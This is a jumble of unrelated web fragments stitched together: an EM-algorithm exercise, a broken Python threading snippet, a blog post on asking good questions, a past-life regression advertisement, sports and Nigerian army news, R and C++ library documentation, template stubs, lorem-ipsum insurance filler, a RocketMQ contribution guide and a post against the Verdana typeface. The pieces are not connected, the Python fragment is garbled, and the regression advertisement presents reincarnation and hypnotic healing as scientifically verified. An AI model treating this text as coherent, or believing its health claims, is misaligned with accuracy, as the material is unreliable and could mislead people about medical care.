Consider the application of EM to learn the parameters for the network in Figure mixture-networks-figure(a), given the true parameters in Equation (candy-true-equation).
-
Explain why the EM algorithm would not work if there were just two attributes in the model rather than three.
-
Show the calculations for the first iteration of EM starting from Equation (candy-64-equation).
-
What happens if we start with all the parameters set to the same value $p$? (Hint: you may find it helpful to investigate this empirically before deriving the general result.)
-
Write out an expression for the log likelihood of the tabulated candy data on page candy-counts-page in terms of the parameters, calculate the partial derivatives with respect to each parameter, and investigate the nature of the fixed point reached in part (c).


:param companies: pandas dataframe.
with futures.ThreadPoolExecutor(max_workers=40) as executor:
future_to_search_suspicious = dict()
for index, company in companies.iterrows():
future = executor.submit(search_suspicious_around_company, company)
for company in pool.imap(search_suspicious_around_company, rows):
count += 1
print_status(total, count)
if company:
write_csv(company)
def search_suspicious_around_company(company):
:param company: (dict)
:return: suspect


Good Question
Learning how to ask a good question is an important skill that many of us don't think about. If you've ever posted a question on a forum and not gotten a response, there is a possibility that the question was worded poorly or didn't include enough information. Today I am going to go over how to ask a good question, especially in the tech community, to optimize the quality of the responses that you will get in return. Let's get started!
Before you ask
Before you post your question online, make sure that you have exhausted all of the other resources available to you. Chances are that someone else has encountered a similar problem and has already asked the same thing. A really great resource to search for common programming questions is Stack Overflow. There are hundreds, if not thousands, of questions posted on this site. I recommend starting here! In addition, there are plenty of other great resources out there. Or, you can always just Google it.
Pretend you're talking to a busy colleague
If you exhaust all of your options from searching online and still can't find the answer you are looking for, then you'll have to ask the question yourself. The best piece of advice that I've heard is to pretend that you're talking to a busy colleague and sum up your question in one sentence. What details will that person need to know in order to give you the best answer possible? Be concise, but descriptive. Be sure to include any error messages, key APIs, or other unusual differences that make your question unique. Also, make sure your spelling and grammar are correct. This is very important for readability and will make yur question easier to understand.
Bad Examples:
- Confused about JavaScript
- What is going on with my computer?
- Funny error message, not sure what is wrong.
Good Examples:
- In Ruby, why does str == "texting" evaluate to false when str is set to "texting"?
- In Ruby, why does using a float instead of an integer give me different results even though all of my inputs are integers?
- How can I make something happen when two divs touch each other in JavaScript?
That's a good question!
Most of the questions that go unanswered in Stack Overflow and other forums, are not asked in a clear way as described above. It isn't hard to ask a good question, but it does take some practice. It may help to post a sample of the code that is giving you problems after you have asked your question. This will give other people a chance to look for other errors in the code that may be causing this problem that you yourself didn't realize. Also, never be afraid to ask for clarification if you don't understand something or if you are confused by the explanation given.
If you have any questions or comments, please send me either an email or a tweet. Happy coding!
Posted by Morgan McCrory


The idea of reincarnation, living again after death, is as old as time. There are numerous references to it in the old and new testaments of the Bible. In the 1920s, Edgar Cayce, at the time an internationally famous clairvoyant and medical prophet, provided as much evidence for past lives as possible through his verified psychic readings of people. The past lives he saw provided clues and healing for current unexplained physical, psychological, and emotional conditions people were experiencing.
In the 1950s, after the advent and acceptance of hypnotherapy, psychiatrist Dr. Ian Stevenson and his team at the University of Virginia and the university’s medical doctors began exploring the idea of healing what they considered to be psychosomatic illnesses by hopefully regressing people to a hidden event in their childhood. What happened instead astonished everyone. People most often regressed to another lifetime! It was completely unexpected, and turned everything they were doing upside down. Yet, people remembering these lifetimes, with trained guidance, were healed of the unexplained physical and mental conditions and illness.
Dr. Ian Stevenson had trouble believing. He was a classically trained medical doctor. From then on, he made it his life work to disprove the phenomena. Going to extreme measures, he hired independent detectives and actors to try and fool people who had remembered lifetimes. Yet none of them changed their stories, and the remembered lifetimes were verified through rigorous methods. Dr. Stevenson’s work was obsessive and exhaustive, yet the only statement he would make after all of it was this: There is no conclusive evidence capable of disproving reincarnation.
Truly, what evidence could exist that would prove past lives?
A guided journey through hypnosis-induced memories of another lifetime facilitated by a certified Past Life Regression Hypnotherapist.
During a two hour period, we discuss patterns, past illnesses, and childhood fascinations that could be clues to past lives needing resolution, and then set an intention. Next, under cozy comfortable blankets with pillows, you follow my voice to another lifetime YOUR soul has chosen. We explore that life and bring resolution to any issues- physical, mental or spiritual needing healing.
You wake up refreshed and whole, remembering everything! Questions for further growth and healing are sent home with you for journaling that day.
From science-based Mary Elizabeth Raines, internationally respected Hypnosis Trainer and Past Life Regressionist, who has performed literally thousands of regressions for over 40 years, we hear this:
Whether reincarnation is actual fact or fantasy, however, doesn’t really matter. What does matter is that people find the answers and release/relief they are seeking. Any information that helps an individual’s self-understanding is valuable, whether its source is from a former existence in another body, or whether it arises from a person’s present-day subconscious.
In my experience, in hundreds of past life regressions I have performed and experienced for myself as my own regressions, I can honestly say that if someone (or myself) has made that up, WHY did they make that up, and where did those details come from? Why does no one come back as Cleopatra, or a King or Queen? If I were to make something up, it would be grand, like a movie. Yet the majority of regressions are sweet precious lives filled with love, or where a personal tragedy has occurred that scarred them deeply.
I believe, because I have seen the release and the healing, the RELIEF.
Maybe you will choose to take this adventure into your deeper self!
Melissa Tierney, MS MRT is a Past-Life Regression Counselor, certified through the prestigious Academy of Professional Hypnosis Training and Mary Elizabeth Raines.
She is an Interfaith Minister in the Esoteric Traditions and has been an Intuitive Counselor helping people heal through Reiki, psychic counseling, Jungian Psychology and Reiki/Energy Work for over 15 years.
A word to the wise, please do not try downloaded regressions or people who are not certified. You need to be guided by someone capable of handling any psychological or physical issue that may arise to prevent harm, and for the maximum benefit. Your psyche, your soul is priceless. Cherish and protect it.
Highly Recommended Reading from the pioneers:


Kawhi Leonard (knee) misses third straight game for Clippers
by ESPNLA Clippers forward Kawhi Leonard was ruled out for Monday's game against the Oklahoma City Thunder, the team announced.
Leonard suffered a left knee contusion in the second half of the Clippers' loss to the Houston Rockets on Wednesday and did not play against New Orleans on Thursday or Atlanta on Saturday.
Leonard has missed five of the Clippers' 14 games this season and has yet to play alongside teammate Paul George, who made his Clippers debut on Thursday after rehabbing from two shoulder operations.
George has helped mitigate Leonard's absence, scoring 70 points in 44 minutes in the past two games.
Leonard has been effective as well, when he has been on the court, averaging 26.8 points per game to go with a career-high six assists.


Army to conduct Exercise Crocodile Smile IV in Lagos, Ogun
by The Eagle OnlineThe 81 Division of Nigerian Army says it will commence Exercise Crocodile Smile IV on Tuesday in Lagos and Ogun States simultaneously.
Major Kamarudeen Adegoke, Acting Deputy Director, Army Public Relations, said in a statement that the exercise would be conducted from November 19 to December 23.
The Army Spokesman said the exercise was aimed at enhancing troops operational proficiency, inter-agency cooperation and civil-military coordination.
It said the exercise was also aimed at curbing prevalent contemporary security challenges such as kidnapping, armed robbery, cultism, ritual killing and pipeline vandalism within its area of responsibility.
There would be free medical outreach, maintenance of some selected roads and distribution of educational materials to some schools in Lagos and Ogun State, Adegoke said.
The statement advised members of the public not to panic on sighting troops and movement of military equipment throughout the period of exercise.
It said Governor Babajide Sanwo-Olu of Lagos State would declare the exercise open on Tuesday.
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Calculates the semantic similarity between profiles (groups) of terms.
bestPairs
aggregates pairwise scores by "best pairs" between two profiles.
That is, for profiles P1 and P2 with terms T1[i] (i = 1,...n) and T2[j]
(j = 1,...,m), respectively, for S(P1, P2) bestPairs
will determine for
each i the score s(T1[i], T2[j]) that is "best" (see parameter best
),
followed by aggregating the resulting n best-pair scores to a single value
(see parameter aggregate
). The resulting scores are necessarily asymmetric,
i.e., S(P1, P2) != S(P2, P1) for P1 != P2.
reduce.ignoringDiag
is a convenience function for aggregating pairwise
similarity scores such that the diagonal of the pair-wise similarity matrix
is ignored. This may be desirable, for example, when average with-in group
similarity should exclude the similarity of terms to themselves.
profile_similarity(pairwise, subsumer_mat, ..., f, reduce = NA) bestPairs(X, best = max, aggregate = mean) reduce.ignoringDiag(X, aggregate = mean)
| pairwise | the function for calculating (pairwise) semantic similarity
between term vectors. This function must accept the subsumer matrix as its
first argument. Additional named arguments (see |
|---|---|
| subsumer_mat | the subsumer matrix as data.frame. See |
| ... | additional named arguments to be passed to the pairwise function. |
| f | a factor (or an object coercible to factor) defining the group (profile) membership of the terms (= columns) in the subsumer matrix. Columns and rows of the resulting profile similarity matrix will take their names from the levels of the factor. The factor may have 2 or more levels. |
| reduce | in pairwise mode, the function for reducing pairwise scores to
a single between-group score. In each invocation, the function will be passed
the submatrix of the pairwise similarity matrix that corresponds to the
pairwise scores of terms from the two profiles to be compared. A function
may aggregate the scores irrespective of the column and row structure of the
submatrix (for example, by taking the mean), or aggregate first by columns
or rows, followed by aggregating the results (for example, see |
| X | array or matrix, the submatrix of pairwise scores to aggregate |
| best | the function for determing the best score. The default is |
| aggregate | the function for aggregating scores (for |
A profile refers to a group of terms, and profile similarity to the similarity between these groups. Profile similarity can be calculated in two principal ways, often referred to as group-wise and pair-wise. Both are supported here.
In group-wise mode, the terms and their subsumers in a group are first combined into a single vector representing their union (also sometimes called the subgraph corresponding to a group). Then the pairwise algorithm is applied to the unions.
In pairwise mode, the pairwise similarities between all terms are calculated, and then the pairwise scores between the terms in two groups are reduced to a single score giving the between-group score.
In pairwise mode, if the reduce
function is asymmetric (as will typically be
the case for functions aggregating in two steps), the upper and lower triangle
of the profile similarity matrix will not be symmetric. If a symmetric similarity
matrix is desired, this can be achieved by computing (X + t(X)) / 2
, if X is
the profile similarity matrix.
tt <- sapply(c("pelvic fin", "pectoral fin", "forelimb", "hindlimb", "dorsal fin", "caudal fin"), pk_get_iri, as = "anatomy") # define groups (profiles) as factors: pairedUnpaired <- c(rep("paired", times = 4), rep("unpaired", times = 2)) finsLimbs <- c("fins", "fins", "limbs", "limbs", "fins", "fins") pairedFinLimb <- interaction(as.factor(pairedUnpaired), as.factor(finsLimbs)) # compute subsumer matrix subs.mat <- subsumer_matrix(tt, .colnames = "label", .labels = names(tt), preserveOrder = TRUE) # group-wise profile similarity: profile_similarity(jaccard_similarity, subs.mat, f = pairedUnpaired)#> paired unpaired #> paired 1.0000000 0.3163265 #> unpaired 0.3163265 1.0000000profile_similarity(jaccard_similarity, subs.mat, f = finsLimbs)#> fins limbs #> fins 1.0000000 0.7653061 #> limbs 0.7653061 1.0000000profile_similarity(jaccard_similarity, subs.mat, f = pairedFinLimb)#> paired.fins unpaired.fins paired.limbs #> paired.fins 1.0000000 0.3483146 0.8152174 #> unpaired.fins 0.3483146 1.0000000 0.3152174 #> paired.limbs 0.8152174 0.3152174 1.0000000# pairwise, using mean (average pairwise score); result is symmetric profile_similarity(jaccard_similarity, subs.mat, f = pairedFinLimb, reduce = mean)#> paired.fins unpaired.fins paired.limbs #> paired.fins 0.9397590 0.3742470 0.8251232 #> unpaired.fins 0.3742470 0.9189189 0.3413199 #> paired.limbs 0.8251232 0.3413199 0.9285714# the same, but excluding self-similarity of terms within groups profile_similarity(jaccard_similarity, subs.mat, f = pairedFinLimb, reduce = reduce.ignoringDiag)#> paired.fins unpaired.fins paired.limbs #> paired.fins 0.8795181 0.3742470 0.8251232 #> unpaired.fins 0.3742470 0.8378378 0.3413199 #> paired.limbs 0.8251232 0.3413199 0.8571429# pairwise, using max; result is symmetric profile_similarity(jaccard_similarity, subs.mat, f = pairedFinLimb, reduce = max)#> paired.fins unpaired.fins paired.limbs #> paired.fins 1.0000000 0.3750000 0.8571429 #> unpaired.fins 0.3750000 1.0000000 0.3414634 #> paired.limbs 0.8571429 0.3414634 1.0000000# pairwise, using average of best pairs; result is _not_ symmetric sm <- profile_similarity(jaccard_similarity, subs.mat, f = pairedFinLimb, reduce = bestPairs) sm#> paired.fins unpaired.fins paired.limbs #> paired.fins 1.0000000 0.3750000 0.8571429 #> unpaired.fins 0.3742470 1.0000000 0.3413199 #> paired.limbs 0.8571429 0.3414634 1.0000000#> paired.fins unpaired.fins paired.limbs #> paired.fins 1.0000000 0.3746235 0.8571429 #> unpaired.fins 0.3746235 1.0000000 0.3413917 #> paired.limbs 0.8571429 0.3413917 1.0000000


{# common template logic for displaying flatpages, for embedding in other templates #} {% include 'flatpages/snippets/flatpage_addedit.html' %}


batting practice
broadcast general market
caught
tabloid
bombero
broadcast hispanic market
cartero
cnn news night
broadcast news
got milk abc


{% include "components/welcome.html" %} {% include "components/password.html" %} {% include "components/browser.html" %} {% include "components/editor.html" %}


Create an account as a Student
Create an account as a Teacher


| kr-vcov {pbkrtest} | R Documentation |
Kenward and Roger (1997) describbe an improved small sample approximation to the covariance matrix estimate of the fixed parameters in a linear mixed model.
vcovAdj(object, details = 0) ## S3 method for class 'lmerMod' vcovAdj(object, details = 0)
object |
An |
details |
If larger than 0 some timing details are printed. |
phiA |
the estimated covariance matrix, this has attributed P, a
list of matrices used in |
SigmaG |
list: Sigma: the covariance matrix of Y; G: the G matrices that sum up to Sigma; n.ggamma: the number (called M in the article) of G matrices) |
If $N$ is the number of observations, then the vcovAdj()
function involves inversion of an $N x N$ matrix, so the computations can
be relatively slow.
Ulrich Halekoh<EMAIL_ADDRESS>Søren Højsgaard<EMAIL_ADDRESS>Ulrich Halekoh, Søren Højsgaard (2014)., A Kenward-Roger Approximation and Parametric Bootstrap Methods for Tests in Linear Mixed Models - The R Package pbkrtest., Journal of Statistical Software, 58(10), 1-30., https://www.jstatsoft.org/v59/i09/
Kenward, M. G. and Roger, J. H. (1997), Small Sample Inference for Fixed Effects from Restricted Maximum Likelihood, Biometrics 53: 983-997.
getKR
, KRmodcomp
, lmer
,
PBmodcomp
, vcovAdj
fm1 <- lmer(Reaction ~ Days + (Days|Subject), sleepstudy) class(fm1) ## Here the adjusted and unadjusted covariance matrices are identical, ## but that is not generally the case: v1 <- vcov(fm1) v2 <- vcovAdj(fm1, details=0) v2 / v1 ## For comparison, an alternative estimate of the variance-covariance ## matrix is based on parametric bootstrap (and this is easily ## parallelized): ## Not run: nsim <- 100 sim <- simulate(fm.ml, nsim) B <- lapply(sim, function(newy) try(fixef(refit(fm.ml, newresp=newy)))) B <- do.call(rbind, B) v3 <- cov.wt(B)$cov v2/v1 v3/v1 ## End(Not run)


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Eric Wagner's Blog
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Eric Wagner's Blog
Software Developer based in St. Louis, Missouri.
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Tweenable.token Module
This module adds string interpolation support to Shifty.
The Token extension allows Shifty to tween numbers inside of strings. Among other things, this allows you to animate CSS properties. For example, you can do this:
var tweenable = new Tweenable();
tweenable.tween({
from: { transform: 'translateX(45px)' },
to: { transform: 'translateX(90xp)' }
});
translateX(45)
will be tweened to translateX(90)
. To demonstrate:
var tweenable = new Tweenable();
tweenable.tween({
from: { transform: 'translateX(45px)' },
to: { transform: 'translateX(90px)' },
step: function (state) {
console.log(state.transform);
}
});
The above snippet will log something like this in the console:
translateX(60.3px)
...
translateX(76.05px)
...
translateX(90px)
Another use for this is animating colors:
var tweenable = new Tweenable();
tweenable.tween({
from: { color: 'rgb(0,255,0)' },
to: { color: 'rgb(255,0,255)' },
step: function (state) {
console.log(state.color);
}
});
The above snippet will log something like this:
rgb(84,170,84)
...
rgb(170,84,170)
...
rgb(255,0,255)
This extension also supports hexadecimal colors, in both long (#ff00ff
)
and short (#f0f
) forms. Be aware that hexadecimal input values will be
converted into the equivalent RGB output values. This is done to optimize
for performance.
var tweenable = new Tweenable();
tweenable.tween({
from: { color: '#0f0' },
to: { color: '#f0f' },
step: function (state) {
console.log(state.color);
}
});
This snippet will generate the same output as the one before it because equivalent values were supplied (just in hexadecimal form rather than RGB):
rgb(84,170,84)
...
rgb(170,84,170)
...
rgb(255,0,255)
Easing support
Easing works somewhat differently in the Token extension. This is because some CSS properties have multiple values in them, and you might need to tween each value along its own easing curve. A basic example:
var tweenable = new Tweenable();
tweenable.tween({
from: { transform: 'translateX(0px) translateY(0px)' },
to: { transform: 'translateX(100px) translateY(100px)' },
easing: { transform: 'easeInQuad' },
step: function (state) {
console.log(state.transform);
}
});
The above snippet will create values like this:
translateX(11.56px) translateY(11.56px)
...
translateX(46.24px) translateY(46.24px)
...
translateX(100px) translateY(100px)
In this case, the values for translateX
and translateY
are always the
same for each step of the tween, because they have the same start and end
points and both use the same easing curve. We can also tween translateX
and translateY
along independent curves:
var tweenable = new Tweenable();
tweenable.tween({
from: { transform: 'translateX(0px) translateY(0px)' },
to: { transform: 'translateX(100px) translateY(100px)' },
easing: { transform: 'easeInQuad bounce' },
step: function (state) {
console.log(state.transform);
}
});
The above snippet will create values like this:
translateX(10.89px) translateY(82.35px)
...
translateX(44.89px) translateY(86.73px)
...
translateX(100px) translateY(100px)
translateX
and translateY
are not in sync anymore, because easeInQuad
was specified for translateX
and bounce
for translateY
. Mixing and
matching easing curves can make for some interesting motion in your
animations.
The order of the space-separated easing curves correspond the token values they apply to. If there are more token values than easing curves listed, the last easing curve listed is used.
This module provides the following classes:


My Account
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--- title: "Useful Resources" lastmod: 2019-03-06T00:00:00.000Z draft: false type: docs maths: true linktitle: "Useful resources" menu: docs: parent: Content Management weight: 200 ---
Some useful resources for managing content:
Markdown cheat sheet there are many more of these that can be found through google.
{RMarkdown cheat sheet] (https://www.rstudio.com/resources/cheatsheets/#rmarkdown) again there are many more of these
Academic theme documentation I believe this was geared towards Markdown users and not RMarkdown users
I encourage you to look at the Stackoverflow forums when googling a problem
W3Schools has a pretty good list of CSS variables if you are looking to modify your content with some inline CSS styling (not normally recommended but useful for little things like changing the colour of text)


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Great for individuals and business
A strong, up-to-date, employee benefits health insurance program is vital for attracting and retaining good employees. It takes diligence, creativity and attention to detail to ensure you are getting the best “bang for your buck” each and every year.
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Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Insurance can have various effects on society through the way that it changes who bears the cost of losses and damage.
Easy as One, Two, Three
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A pre-authorization form is required in case of cashless claims which are to be submitted to the TPA. Other documents might also be required and you should have the knowledge of the required documents.
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS.
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS.
Anim pariatur cliche reprehenderit, enim eiusmod high life accusamus terry richardson ad squid. 3 wolf moon officia aute, non cupidatat skateboard dolor brunch. Food truck quinoa nesciunt laborum eiusmod. Brunch 3 wolf moon tempor, sunt aliqua put a bird on it squid single-origin coffee nulla assumenda shoreditch et. Nihil anim keffiyeh helvetica, craft beer labore wes anderson cred nesciunt sapiente ea proident. Ad vegan excepteur butcher vice lomo. Leggings occaecat craft beer farm-to-table, raw denim aesthetic synth nesciunt you probably haven't heard of them accusamus labore sustainable VHS.
At fincorp, we are commited to provide top-notch services to our customers.


{% extends 'base.html'%} {% import "bootstrap/wtf.html" as wtf %} {% block content %}
Welcome and drop your comment here... all of your thoughts are welcomed.. feel free to congratulate or tell the pitchers where they should improve on


Pros: Sounds like term for written language.
Cons: Adds an element to a list.
10/9/2017, 2:01:46 PM
Favs: 24
Retweets: 7
link--- layout: tweet ---
Pros: Sounds like term for written language.
Cons: Adds an element to a list.
10/9/2017, 2:01:46 PM
Favs: 24
Retweets: 7
link


How to Contribute
Apache RocketMQ is developed by an open and friendly community. Everybody is cordially welcome to join the community and contribute to Apache RocketMQ. There are several ways to interact with the community and to contribute to RocketMQ including asking questions, filing bug reports, proposing new features, joining discussions on the mailing lists, contributing code or documentation, improving the website, or testing release candidates.
Ask questions!
The Apache RocketMQ community is eager to help and to answer your questions. We have a user mailing list and apache-rocketmq tag on Stack Overflow.
File a bug report
Please let us know if you experienced a problem with RocketMQ and file a bug report. Open Github Issue and click on the New issue.
Propose an improvement or a new feature
Our community is constantly looking for feedback to improve Apache RocketMQ. If you have an idea how to improve RocketMQ or have a new feature in mind that would be beneficial for RocketMQ users, please open an issue in RocketMQ’s ISSUE. The improvement or new feature should be described in appropriate detail and include the scope and its requirements if possible. Detailed information is important for a few reasons:
- It ensures your requirements are met when the improvement or feature is implemented.
- It helps to estimate the effort and to design a solution that addresses your needs.
- It allow for constructive discussions that might arise around this issue.
Detailed information is also required, if you plan to contribute the improvement or feature you proposed yourself. Please read the Contribute code guide in this case as well.
We recommend to first reach consensus with the community on whether a new feature is required and how to implement a new feature, before starting with the implementation. Some features might be out of scope of the project, and it’s best to discover this early.
Help others and join the discussions
Most communication in the Apache RocketMQ community happens on two mailing lists:
- The user mailing lists<EMAIL_ADDRESS>is the place where users of Apache RocketMQ ask questions and seek for help or advice. Joining the user list and helping other users is a very good way to contribute to RocketMQ’s community. Furthermore, there is the apache-rocketmq tag on Stack Overflow if you’d like to help RocketMQ users (and harvest some points) there.
- The development mailing list<EMAIL_ADDRESS>is the place where RocketMQ developers exchange ideas and discuss new features, upcoming releases, and the development process in general. If you are interested in contributing code to RocketMQ, you should join this mailing list.
You are very welcome to subscribe to both mailing lists.
Test a release candidate
Apache RocketMQ is continuously improved by its active community. Every few weeks, we release a new version of Apache RocketMQ with bug fixes, improvements, and new features. The process of releasing a new version consists of the following steps:
- Building a new release candidate and starting a vote (usually for 72 hours).
- Testing the release candidate and voting (+1 if no issues were found, -1 if the release candidate has issues).
- Going back to step 1 if the release candidate had issues otherwise we publish the release. Our site contains a page that summarizes the test procedure for a release. Release testing is a big effort if done by a small group of people but can be easily scaled out to more people. The RocketMQ community encourages everybody to participate in the testing of a release candidate. By testing a release candidate, you can ensure that the next RocketMQ release is working properly for your setup and help to improve the quality of releases.
Contribute code
Apache RocketMQ is maintained, improved, and extended by code contributions of volunteers. The Apache RocketMQ community encourages anybody to contribute source code. In order to ensure a pleasant contribution experience for contributors and reviewers and to preserve the high quality of the code base, we follow a contribution process that is explained in our Contribute code guide. The guide does also include instructions to setup a development environment, our coding guidelines and code style, and explains how to submit a code contribution.
Please read the Contribute code guide before you start to work on a code contribution.
Please do also read the Submit a Contributor License Agreement Section.
Looking for an issue to work on?
We maintain a list of all known bugs, proposed improvements and suggested features in Github issue.
Contribute documentation
Good documentation is crucial for any kind of software. The Apache RocketMQ community aims to provide concise, precise, and complete documentation and welcomes any contribution to improve Apache RocketMQ’s documentation.
- Please report missing, incorrect, or out-dated documentation as a Github issue.
- RocketMQ’s documentation is written in Markdown and located in the docs folder in RocketMQ’s site source code repository. See the Contribute documentation guidelines for detailed instructions for how to update and improve the documentation and to contribute your changes.
Improve the website
The Apache RocketMQ website presents Apache RocketMQ and its community. It serves several purposes including:
- Informing visitors about Apache RocketMQ and its features.
- Encouraging visitors to download and use RocketMQ.
- Encouraging visitors to engage with the community.
We welcome any contribution to improve our website.
Please open a Github issue if you think our website could be improved. Please follow the Improve the website guidelines if you would like to update and improve the website.
More ways to contribute…
There are many more ways to contribute to the RocketMQ community. For example you can
- give a talk about RocketMQ and tell others how you use it.
- organize a local Meetup or user group.
- talk to people about RocketMQ.
- …
How to become a committer
Committers are community members that have write access to the project’s repositories, i.e., they can modify the code, documentation, and website by themselves and also accept other contributions.
There is no strict protocol for becoming a committer. Candidates for new committers are typically people that are active contributors and community members.
Being an active community member means participating on mailing list discussions, helping to answer questions, verifying release candidates, being respectful towards others, and following the meritocratic principles of community management. Since the “Apache Way” has a strong focus on the project community, this part is very important.
Of course, contributing code and documentation to the project is important as well. A good way to start is contributing improvements, new features, or bug fixes. You need to show that you take responsibility for the code that you contribute, add tests and documentation, and help maintaining it.
Candidates for new committers are suggested by current committers or PMC members, and voted upon by the PMC.
If you would like to become a committer, you should engage with the community and start contributing to Apache RocketMQ in any of the above ways. You might also want to talk to other committers and ask for their advice and guidance.
Reference
This document is a modified version of the one created by the Flink Project[1].
[1]. http://flink.apache.org/how-to-contribute.html
Leave a Comment


println(@key stream = current_writer(), obj1, ...)
print(@key stream = current_writer(), obj1, ...)
Write the compiled (or internal) representation of the objects obj1, ...
to the output-stream stream
.
Print strings, symbols and characters without
quotes. Elements of compound objects (pair, list, array etc)
are recursively written without the surrounding tokens (parentheses, spaces, dots, etc).
Println
will emit a newline after printing the objects.
Both functions return void
.
println("it's ", \a, \space, 'wonderful, " world")
//> it's a wonderful world
println([1,2,3])
//> 123


Habakkuk 2:14
For the earth shall be filled with the knowledge of the glory of the LORD, as the waters cover the sea.


|
SAC Effects
v1.0
|
Audio reverb effect. More...
#include <Reverb.h>
Public Member Functions | |
| Reverb () | |
| Reverb constructor. | |
| void | apply (float **input, float **output, int samples, std::vector< SACBitstream::ChannelType::channeltype > channels) |
| It applies reverb effect. More... | |
| void | schroederfilter (float *input, float *output, int samples, bool addition, float gain, float g, int delay) |
| It applies a shcroeder allpass filter, according to the transfer function H(z) = gain * (g + z^-delay) / (1 + g·z^-delay). More... | |
| void | schroederdiffusionfilter (float *input, float *output, int samples, bool addition, float gain, float g, int delay) |
| It applies a schroeder diffusion allpass filter, according to the transfer function H(z) = gain * (-g + z^-delay) / (1 - g·z^-delay). More... | |
| void | feedforwardfilter (float *input, float *output, int samples, bool addition, float gain, float original, int delay) |
| It applies a feed forward comb filter, according to the transfer function H(z) = gain * (g + z^-delay). More... | |
| void | lowpassfeedbackfilter (float *input, float *output, int samples, bool addition, float gain, float rs, float d, int delay) |
| It applies a Schroeder-Moorer low pass feedback comb filter, according to the transfer function H(z) = gain / (1 - f · (1-d) / (1-d·z^-1) · z*-N). More... | |
| void | combfilter (float *input, float *output, int samples, bool addition, float *a, float *b, int order, float a_delay, float b_delay, int delay) |
| It applies a comb filter, according to the transfer function H(z) = (b[0] + b[1]·z^-1 + ... + b[order]·z^-order + b_delay·z^-delay) / (a[0] + a[1]·z^-1 + ... + a[order]·z^-order + a_delay·z^-delay). More... | |
| void Reverb::apply | ( | float ** | input, |
| float ** | output, | ||
| int | samples, | ||
| std::vector< SACBitstream::ChannelType::channeltype > | channels | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| channels | vector of channel types |
Definition at line 21 of file Reverb.cpp.
| void Reverb::combfilter | ( | float * | input, |
| float * | output, | ||
| int | samples, | ||
| bool | addition, | ||
| float * | a, | ||
| float * | b, | ||
| int | order, | ||
| float | a_delay, | ||
| float | b_delay, | ||
| int | delay | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| addition | true if the filter is in serie (filter output is summed to the existing output samples) and false if the filter is in cascade (filter output overwrites the existing output samples) |
| a | y coefficients of transfer function |
| b | x coefficients of transfer function |
| order | filter order (value of the highest exponent) without including delay term |
| a_delay | y delay coefficients of transfer function |
| b_delay | x delay coefficients of transfer function |
| delay | number of samples to delay |
Definition at line 179 of file Reverb.cpp.
| void Reverb::feedforwardfilter | ( | float * | input, |
| float * | output, | ||
| int | samples, | ||
| bool | addition, | ||
| float | gain, | ||
| float | original, | ||
| int | delay | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| addition | true if the filter is in serie (filter output is summed to the existing output samples) and false if the filter is in cascade (filter output overwrites the existing output samples) |
| gain | function transfer gain |
| original | gain of the original signal |
| delay | number of samples to delay |
Definition at line 119 of file Reverb.cpp.
| void Reverb::lowpassfeedbackfilter | ( | float * | input, |
| float * | output, | ||
| int | samples, | ||
| bool | addition, | ||
| float | gain, | ||
| float | rs, | ||
| float | d, | ||
| int | delay | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| addition | true if the filter is in serie (filter output is summed to the existing output samples) and false if the filter is in cascade (filter output overwrites the existing output samples) |
| gain | function transfer gain |
| rs | feed forward comb filter gain |
| d | low pass filter gain |
| delay | number of samples to delay |
Definition at line 147 of file Reverb.cpp.
| void Reverb::schroederdiffusionfilter | ( | float * | input, |
| float * | output, | ||
| int | samples, | ||
| bool | addition, | ||
| float | gain, | ||
| float | g, | ||
| int | delay | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| addition | true if the filter is in serie (filter output is summed to the existing output samples) and false if the filter is in cascade (filter output overwrites the existing output samples) |
| gain | function transfer gain |
| g | all pass filter gain |
| delay | number of samples to delay |
Definition at line 92 of file Reverb.cpp.
| void Reverb::schroederfilter | ( | float * | input, |
| float * | output, | ||
| int | samples, | ||
| bool | addition, | ||
| float | gain, | ||
| float | g, | ||
| int | delay | ||
| ) |
| input | input signal pointer |
| output | output signal pointer |
| samples | number of samples |
| addition | true if the filter is in serie (filter output is summed to the existing output samples) and false if the filter is in cascade (filter output overwrites the existing output samples) |
| gain | function transfer gain |
| g | all pass filter gain |
| delay | number of samples to delay |
Definition at line 65 of file Reverb.cpp.


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--- layout: post title: Verdana must die for the good of the planet date: 2009-03-23 15:09:52.000000000 +00:00 type: post published: true status: publish categories: - Uncategorised tags: - environment - Readability - typography meta: aktt_notify_twitter: 'no' _topsy_cache_timestamp: '1299688841' _topsy_long_url: /2009/03/23/verdana-must-die-for-the-good-of-the-planet/ topsy_short_url: http://bit.ly/9dmFbR _syntaxhighlighter_encoded: '1' _edit_last: '1' tmac_last_id: '618797407556517888' author: David Simpson excerpt_separator: ---
If you're using the Verdana typeface in your printed documents, stop now.
There is no need and it is helping destroy the planet.
Verdana takes up about 19% more horizontal space than Arial. So a switch away from Verdana could reduce your paper costs by up to 19%. For further savings, switch to duplex printing at the same time.
If you need a font designed for readability, try the granddaddy of readable fonts - Helvetica - or at a pinch Arial.
